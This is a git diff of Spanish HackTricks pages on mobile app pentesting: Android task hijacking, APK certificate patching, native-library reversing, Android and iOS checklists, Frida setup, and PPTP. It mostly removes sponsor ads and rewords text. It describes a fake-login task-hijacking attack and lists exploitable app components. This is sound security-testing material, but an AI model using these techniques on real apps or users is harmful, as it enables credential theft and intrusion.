## Tarea, Pila de Fondo y Actividades en Primer Plano
|
||||
|
||||
En Android, una **tarea** es esencialmente un conjunto de actividades con las que los usuarios interactúan para completar un trabajo específico, organizadas dentro de una **pila de fondo**. Esta pila ordena las actividades según cuándo fueron abiertas, con la actividad más reciente mostrada en la parte superior como la **actividad en primer plano**. En cualquier momento, solo esta actividad es visible en la pantalla, convirtiéndola en parte de la **tarea en primer plano**.
|
||||
|
@ -51,7 +43,7 @@ El atributo `launchMode` dirige el manejo de instancias de actividad dentro de l
|
|||
1. **Instalación de la aplicación maliciosa**: La víctima instala la aplicación del atacante en su dispositivo.
|
||||
2. **Activación inicial**: La víctima abre primero la aplicación maliciosa, preparando el dispositivo para el ataque.
|
||||
3. **Intento de lanzamiento de la aplicación objetivo**: La víctima intenta abrir la aplicación objetivo.
|
||||
4. **Ejecución del secuestro**: Debido a la coincidencia de afinidad de tarea, se lanza la aplicación maliciosa en lugar de la aplicación objetivo.
|
||||
4. **Ejecución del secuestro**: Debido a la coincidencia de afinidad de tarea, la aplicación maliciosa se lanza en lugar de la aplicación objetivo.
|
||||
5. **Engaño**: La aplicación maliciosa presenta una pantalla de inicio de sesión falsa que se asemeja a la aplicación objetivo, engañando al usuario para que ingrese información sensible.
|
||||
|
||||
Para una implementación práctica de este ataque, consulte el repositorio Task Hijacking Strandhogg en GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
|
@ -65,11 +57,6 @@ Para prevenir tales ataques, los desarrolladores pueden establecer `taskAffinity
|
|||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -13,14 +13,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Algunas aplicaciones no aceptan certificados descargados por el usuario, por lo que para inspeccionar el tráfico web de algunas aplicaciones, en realidad tenemos que descompilar la aplicación, agregar algunas cosas y recompilarla.
|
||||
|
||||
# Automático
|
||||
|
@ -65,16 +57,16 @@ Luego guarda el archivo y sal de todos los directorios y reconstruye el apk con
|
|||
Finalmente, solo necesitas **firmar la nueva aplicación**. [Lee esta sección de la página Smali - Decompiling/\[Modifying\]/Compiling para aprender cómo firmarlo](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
**Para más información, consulta:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Para más información consulta:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
Las aplicaciones de Android pueden usar bibliotecas nativas, típicamente escritas en C o C++, para tareas críticas de rendimiento. Los creadores de malware también utilizan estas bibliotecas, ya que son más difíciles de desensamblar que el bytecode DEX. La sección enfatiza las habilidades de ingeniería inversa adaptadas a Android, en lugar de enseñar lenguajes de ensamblaje. Se proporcionan versiones ARM y x86 de las bibliotecas para compatibilidad.
|
||||
Las aplicaciones de Android pueden usar bibliotecas nativas, típicamente escritas en C o C++, para tareas críticas de rendimiento. Los creadores de malware también utilizan estas bibliotecas, ya que son más difíciles de descompilar que el bytecode DEX. La sección enfatiza las habilidades de ingeniería inversa adaptadas a Android, en lugar de enseñar lenguajes de ensamblaje. Se proporcionan versiones ARM y x86 de las bibliotecas para compatibilidad.
|
||||
|
||||
### Puntos Clave:
|
||||
|
||||
|
@ -68,17 +55,6 @@ Las aplicaciones de Android pueden usar bibliotecas nativas, típicamente escrit
|
|||
* **Depuración de Bibliotecas Nativas:**
|
||||
* [Depurar Bibliotecas Nativas de Android Usando JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,17 +15,9 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [Aprender fundamentos de Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Fundamentos](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Conceptos básicos](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Dalvik y Smali](android-app-pentesting/#dalvik--smali)
|
||||
* [ ] [Puntos de entrada](android-app-pentesting/#application-entry-points)
|
||||
* [ ] [Actividades](android-app-pentesting/#launcher-activity)
|
||||
|
@ -39,7 +31,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
* [ ] [Cómo usar ADB](android-app-pentesting/#adb-android-debug-bridge)
|
||||
* [ ] [Cómo modificar Smali](android-app-pentesting/#smali)
|
||||
|
||||
### [Análisis Estático](android-app-pentesting/#static-analysis)
|
||||
### [Análisis estático](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Verificar el uso de [ofuscación](android-checklist.md#some-obfuscation-deobfuscation-information), verificar si el móvil está rooteado, si se está utilizando un emulador y realizar verificaciones de anti-manipulación. [Lee esto para más información](android-app-pentesting/#other-checks).
|
||||
* [ ] Las aplicaciones sensibles (como las aplicaciones bancarias) deben verificar si el móvil está rooteado y actuar en consecuencia.
|
||||
|
@ -54,36 +46,29 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
* [ ] Receptores de difusión.
|
||||
* [ ] Esquemas de URL.
|
||||
* [ ] ¿Está la aplicación [guardando datos de manera insegura internamente o externamente](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] ¿Hay alguna [contraseña codificada o guardada en disco](android-app-pentesting/#poorkeymanagementprocesses)? ¿Está la aplicación [usando algoritmos criptográficos inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] ¿Todas las bibliotecas compiladas usando la bandera PIE?
|
||||
* [ ] ¿Hay alguna [contraseña codificada o guardada en disco](android-app-pentesting/#poorkeymanagementprocesses)? ¿Está la aplicación [utilizando algoritmos criptográficos inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] ¿Todas las bibliotecas se compilaron utilizando la bandera PIE?
|
||||
* [ ] No olvides que hay un montón de [analizadores estáticos de Android](android-app-pentesting/#automatic-analysis) que pueden ayudarte mucho durante esta fase.
|
||||
|
||||
### [Análisis Dinámico](android-app-pentesting/#dynamic-analysis)
|
||||
### [Análisis dinámico](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] Preparar el entorno ([en línea](android-app-pentesting/#online-dynamic-analysis), [VM local o física](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] ¿Hay alguna [filtración de datos no intencionada](android-app-pentesting/#unintended-data-leakage) (registros, copiar/pegar, registros de fallos)?
|
||||
* [ ] ¿Información confidencial guardada en bases de datos SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] ¿Actividades expuestas [explotables](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] ¿Proveedores de contenido [explotables](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] ¿Servicios expuestos [explotables](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] ¿Receptores de difusión [explotables](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] ¿La aplicación [transmite información en texto claro/usa algoritmos débiles](android-app-pentesting/#insufficient-transport-layer-protection)? ¿Es posible un MitM?
|
||||
* [ ] [Información confidencial guardada en bases de datos SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Actividades expuestas explotables](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Proveedores de contenido explotables](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Servicios expuestos explotables](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Receptores de difusión explotables](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] ¿La aplicación [transmite información en texto claro/utiliza algoritmos débiles](android-app-pentesting/#insufficient-transport-layer-protection)? ¿Es posible un MitM?
|
||||
* [ ] [Inspeccionar tráfico HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] Este punto es realmente importante, porque si puedes capturar el tráfico HTTP puedes buscar vulnerabilidades web comunes (Hacktricks tiene mucha información sobre vulnerabilidades web).
|
||||
* [ ] Verificar posibles [Inyecciones del lado del cliente de Android](android-app-pentesting/#android-client-side-injections-and-others) (probablemente algún análisis de código estático ayudará aquí).
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Solo Frida, úsala para obtener datos dinámicos interesantes de la aplicación (quizás algunas contraseñas...).
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Solo Frida, úsala para obtener datos dinámicos interesantes de la aplicación (quizás algunas contraseñas...)
|
||||
|
||||
### Algunas informaciones sobre ofuscación/Deofuscación
|
||||
### Algunas informaciones sobre ofuscación/deofuscación
|
||||
|
||||
* [ ] [Lee aquí](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -14,7 +14,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -23,14 +23,6 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Preparación
|
||||
|
||||
* [ ] Lee [**iOS Basics**](ios-pentesting/ios-basics.md)
|
||||
|
@ -39,7 +31,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### Almacenamiento de Datos
|
||||
|
||||
* [ ] [**Los archivos Plist**](ios-pentesting/#plist) pueden ser usados para almacenar información sensible.
|
||||
* [ ] [**Los archivos Plist**](ios-pentesting/#plist) pueden ser utilizados para almacenar información sensible.
|
||||
* [ ] [**Core Data**](ios-pentesting/#core-data) (base de datos SQLite) puede almacenar información sensible.
|
||||
* [ ] [**YapDatabases**](ios-pentesting/#yapdatabase) (base de datos SQLite) puede almacenar información sensible.
|
||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) mala configuración.
|
||||
|
@ -48,7 +40,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
* [ ] [**Cookies binarias**](ios-pentesting/#cookies) pueden almacenar información sensible.
|
||||
* [ ] [**Datos de caché**](ios-pentesting/#cache) pueden almacenar información sensible.
|
||||
* [ ] [**Instantáneas automáticas**](ios-pentesting/#snapshots) pueden guardar información visual sensible.
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain) se usa generalmente para almacenar información sensible que puede quedar al revender el teléfono.
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain) se utiliza generalmente para almacenar información sensible que puede quedar al revender el teléfono.
|
||||
* [ ] En resumen, solo **verifica la información sensible guardada por la aplicación en el sistema de archivos.**
|
||||
|
||||
### Teclados
|
||||
|
@ -62,8 +54,8 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### Copias de Seguridad
|
||||
|
||||
* [ ] [**Las copias de seguridad**](ios-pentesting/#backups) pueden ser usadas para **acceder a la información sensible** guardada en el sistema de archivos (verifica el punto inicial de esta lista de verificación).
|
||||
* [ ] Además, [**las copias de seguridad**](ios-pentesting/#backups) pueden ser usadas para **modificar algunas configuraciones de la aplicación**, luego **restaurar** la copia de seguridad en el teléfono, y como la **configuración modificada** es **cargada**, alguna (seguridad) **funcionalidad** puede ser **eludida**.
|
||||
* [ ] [**Las copias de seguridad**](ios-pentesting/#backups) pueden ser utilizadas para **acceder a la información sensible** guardada en el sistema de archivos (verifica el punto inicial de esta lista de verificación).
|
||||
* [ ] Además, [**las copias de seguridad**](ios-pentesting/#backups) pueden ser utilizadas para **modificar algunas configuraciones de la aplicación**, luego **restaurar** la copia de seguridad en el teléfono, y como la **configuración modificada** es **cargada**, algunas (de seguridad) **funcionalidades** pueden ser **eludidas**.
|
||||
|
||||
### **Memoria de Aplicaciones**
|
||||
|
||||
|
@ -71,17 +63,17 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### **Criptografía Rota**
|
||||
|
||||
* [ ] Verifica si puedes encontrar [**contraseñas usadas para criptografía**](ios-pentesting/#broken-cryptography).
|
||||
* [ ] Verifica si puedes encontrar [**contraseñas utilizadas para criptografía**](ios-pentesting/#broken-cryptography).
|
||||
* [ ] Verifica el uso de [**algoritmos obsoletos/débiles**](ios-pentesting/#broken-cryptography) para enviar/almacenar datos sensibles.
|
||||
* [ ] [**Engancha y monitorea funciones de criptografía**](ios-pentesting/#broken-cryptography).
|
||||
|
||||
### **Autenticación Local**
|
||||
|
||||
* [ ] Si se usa una [**autenticación local**](ios-pentesting/#local-authentication) en la aplicación, debes verificar cómo está funcionando la autenticación.
|
||||
* [ ] Si está usando el [**Marco de Autenticación Local**](ios-pentesting/#local-authentication-framework), podría ser fácilmente eludido.
|
||||
* [ ] Si está usando una [**función que puede ser eludida dinámicamente**](ios-pentesting/#local-authentication-using-keychain), podrías crear un script personalizado de frida.
|
||||
* [ ] Si se utiliza una [**autenticación local**](ios-pentesting/#local-authentication) en la aplicación, debes verificar cómo está funcionando la autenticación.
|
||||
* [ ] Si está utilizando el [**Marco de Autenticación Local**](ios-pentesting/#local-authentication-framework), podría ser fácilmente eludido.
|
||||
* [ ] Si está utilizando una [**función que puede ser eludida dinámicamente**](ios-pentesting/#local-authentication-using-keychain), podrías crear un script personalizado de frida.
|
||||
|
||||
### Exposición de Funcionalidad Sensible a Través de IPC
|
||||
### Exposición de Funcionalidades Sensibles a Través de IPC
|
||||
|
||||
* [**Manejadores de URI personalizados / Deeplinks / Esquemas personalizados**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes).
|
||||
* [ ] Verifica si la aplicación está **registrando algún protocolo/esquema**.
|
||||
|
@ -97,13 +89,13 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
* [**Compartición de UIActivity**](ios-pentesting/ios-uiactivity-sharing.md).
|
||||
* [ ] Verifica si la aplicación puede recibir UIActivities y si es posible explotar alguna vulnerabilidad con una actividad especialmente diseñada.
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md).
|
||||
* [ ] Verifica si la aplicación **está copiando algo al portapapeles general**.
|
||||
* [ ] Verifica si la aplicación **está usando los datos del portapapeles general para algo**.
|
||||
* [ ] Verifica si la aplicación **copia algo al portapapeles general**.
|
||||
* [ ] Verifica si la aplicación **usa los datos del portapapeles general para algo**.
|
||||
* [ ] Monitorea el portapapeles para ver si se **copia algún dato sensible**.
|
||||
* [**Extensiones de Aplicaciones**](ios-pentesting/ios-app-extensions.md).
|
||||
* [ ] ¿La aplicación **está usando alguna extensión**?
|
||||
* [ ] ¿La aplicación **usa alguna extensión**?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md).
|
||||
* [ ] Verifica qué tipo de webviews se están usando.
|
||||
* [ ] Verifica qué tipo de webviews se están utilizando.
|
||||
* [ ] Verifica el estado de **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**.
|
||||
* [ ] Verifica si el webview puede **acceder a archivos locales** con el protocolo **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`).
|
||||
* [ ] Verifica si Javascript puede acceder a **métodos** **nativos** (`JSContext`, `postMessage`).
|
||||
|
@ -119,19 +111,13 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
* [ ] Verifica si hay mecanismos de [**parcheo/actualización automática**](ios-pentesting/#hot-patching-enforced-updateing).
|
||||
* [ ] Verifica si hay [**bibliotecas de terceros maliciosas**](ios-pentesting/#third-parties).
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -10,25 +10,11 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Instalando Frida
|
||||
|
||||
**Pasos para instalar Frida en un dispositivo con Jailbreak:**
|
||||
|
@ -55,7 +41,7 @@ Instala **frida tools**:
|
|||
pip install frida-tools
|
||||
pip install frida
|
||||
```
|
||||
Con el servidor Frida instalado y el dispositivo funcionando y conectado, **verifica** si el cliente está **funcionando**:
|
||||
Con el servidor Frida instalado y el dispositivo en funcionamiento y conectado, **verifica** si el cliente está **funcionando**:
|
||||
```bash
|
||||
frida-ls-devices # List devices
|
||||
frida-ps -Uia # Get running processes
|
||||
|
@ -333,7 +319,7 @@ Para prevenir esto, por ejemplo, podríamos reiniciar la aplicación después de
|
|||
|
||||
### Logs & Crashes
|
||||
|
||||
Puedes revisar la **consola de macOS** o el cli de **`log`** para verificar los logs de macOS.\
|
||||
Puedes verificar la **consola de macOS** o el cli de **`log`** para revisar los logs de macOS.\
|
||||
También puedes revisar los logs de iOS usando **`idevicesyslog`**.\
|
||||
Algunos logs omitirán información añadiendo **`<private>`**. Para mostrar toda la información necesitas instalar algún perfil de [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) para habilitar esa información privada.
|
||||
|
||||
|
@ -374,17 +360,6 @@ iOS solo almacena 25 fallos de la misma aplicación, por lo que necesitas limpia
|
|||
|
||||
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware robador**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
**Point-to-Point Tunneling Protocol (PPTP)** es un método ampliamente utilizado para **acceso remoto** a dispositivos móviles. Utiliza **TCP puerto 1723** para el intercambio de claves, mientras que **protocolo IP 47** (Encapsulación de Enrutamiento Genérico, o **GRE**), se utiliza para cifrar los datos que se transmiten entre pares. Esta configuración es crucial para establecer un canal de comunicación seguro a través de internet, asegurando que los datos intercambiados permanezcan confidenciales y protegidos contra accesos no autorizados.
|
||||
